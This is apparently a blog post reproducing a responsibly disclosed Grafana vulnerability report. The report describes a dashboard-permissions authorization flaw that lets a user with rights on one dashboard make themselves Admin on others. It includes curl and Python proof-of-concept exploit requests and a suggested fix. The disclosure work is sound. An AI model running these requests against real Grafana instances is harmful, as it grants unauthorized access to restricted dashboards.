보고서를 쓴지 얼마 안되었을때 쓴 보고서라서 그런지 지금 보기에는 고칠점이 많지만 다행히 grafana 측에서 정보를 더 요청하지 않고 바로 accept 해 주었다.
1. Summary
The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization‑internal privilege escalation.
2. Description
Grafana allows per-dashboard permissions (view/edit/admin). Normally, a user who is an admin of a single dashboard must not be able to access or modify permissions of other dashboards. However, the current authorization check only verifies the action and ignores the dashboard scope, enabling unauthorized permission reads and changes on other dashboards.
2.1 Expected flow
For the following API calls:
- GET /api/dashboards/uid/<dashboard_uid>/permissions
- POST /api/dashboards/uid/<dashboard_uid>/permissions
Grafana should verify that the caller has dashboards.permissions:read/write for the target dashboard scope. Users with permissions only on a different dashboard should receive 403/404.
2.2 Root Cause
The routes authorize without a dashboard scope:
- pkg/api/api.go
- authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsRead)) authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsWrite))
In pkg/services/accesscontrol/evaluator.go, EvalPermission returns true when no scopes are provided, so any user with the action on any dashboard passes authorization for all dashboards.
3. PoC
Environment:
- Grafana OSS local instance
- Two dashboards: dashboard1, dashboard2
- User testuser has Admin permissions on dashboard1 only
- dashboard2 has no permissions for testuser
- Get dashboard2 UID (admin):
curl -s -u admin:admin \\
"<http://localhost:3000/api/search?query=dashboard2>"
Example response:
{"uid":"adtdknq", ...}
- Get testuser ID (admin):
curl -s -u admin:admin \\
"<http://localhost:3000/api/users/lookup?loginOrEmail=testuser>"
Example response:
{"id":2, ...}
- As testuser, read permissions of dashboard2 (should be denied, but succeeds):
curl -s -u testuser:testuser \\
"<http://localhost:3000/api/dashboards/uid/adtdknq/permissions>"
Actual response (200):
[
{
"dashboardId":2,
"userLogin":"testuser",
"permission":4,
"permissionName":"Admin",
"uid":"adtdknq",
"title":"dashboard2"
}
]
- As testuser, modify permissions of dashboard2 (privilege escalation):
curl -s -X POST -u testuser:testuser \\
-H "Content-Type: application/json" \\
"<http://localhost:3000/api/dashboards/uid/adtdknq/permissions>" \\
-d '{
"items": [
{ "userId": 2, "permission": 4 }
]
}'
Response:
{"message":"Dashboard permissions updated"}
Result: testuser becomes Admin on dashboard2 without prior access.
python code
import requests
from requests.auth import HTTPBasicAuth
BASE = "<http://localhost:3000>"
USER1_TOKEN = "glsa_*******************_6354451d"
DASHBOARD2_UID = "adwznqs"
TESTUSER_ID = 2
auth = HTTPBasicAuth("testuser", "testuser")
# 1) testuser check
r = requests.get(f"{BASE}/api/user", auth=auth)
print("api/user:", r.status_code, r.text)
# 2) Retrieve dashboard2 permissions
r = requests.get(f"{BASE}/api/dashboards/uid/{DASHBOARD2_UID}/permissions", auth=auth)
print("permissions GET:", r.status_code, r.text)
# 3) Attempt to change dashboard2 permissions
payload = {"items": [{"userId": TESTUSER_ID, "permission": 4}]} # 1=View, 2=Edit, 4=Admin
r = requests.post(
f"{BASE}/api/dashboards/uid/{DASHBOARD2_UID}/permissions",
auth=auth,
json=payload,
)
print("permissions POST:", r.status_code, r.text)
4. Impact
- A user with permissions admin rights on one dashboard can read/modify permissions of other dashboards
- Users can grant themselves access to restricted dashboards
- Unauthorized access to sensitive dashboards and internal privilege escalation
5. Patch Recommendation
Bind authorization checks to the target dashboard scope.
Suggested fix:
- In pkg/api/api.go, include scope:
- authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsRead, dashUIDScope))
- authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsWrite, dashUIDScope))
Apply the same scoped checks for both /uid/:uid and /id/:dashboardId routes.
'0-day' 카테고리의 다른 글
| CVE-2026-27966 (langflow / cvss 9.8) (0) | 2026.02.28 |
|---|---|
| CVE-2026-28227(discourse / cvss 5.1) (0) | 2026.02.28 |
| CVE-2026-22922(airflow / cvss 6.5) (1) | 2026.02.25 |
| CVE-2025-66514(Nextcloud Mail / cvss 5.4) (0) | 2025.12.27 |
| CVE-2025-66558(nextcloud twofactor_webauthn / cvss 3.1) (0) | 2025.12.27 |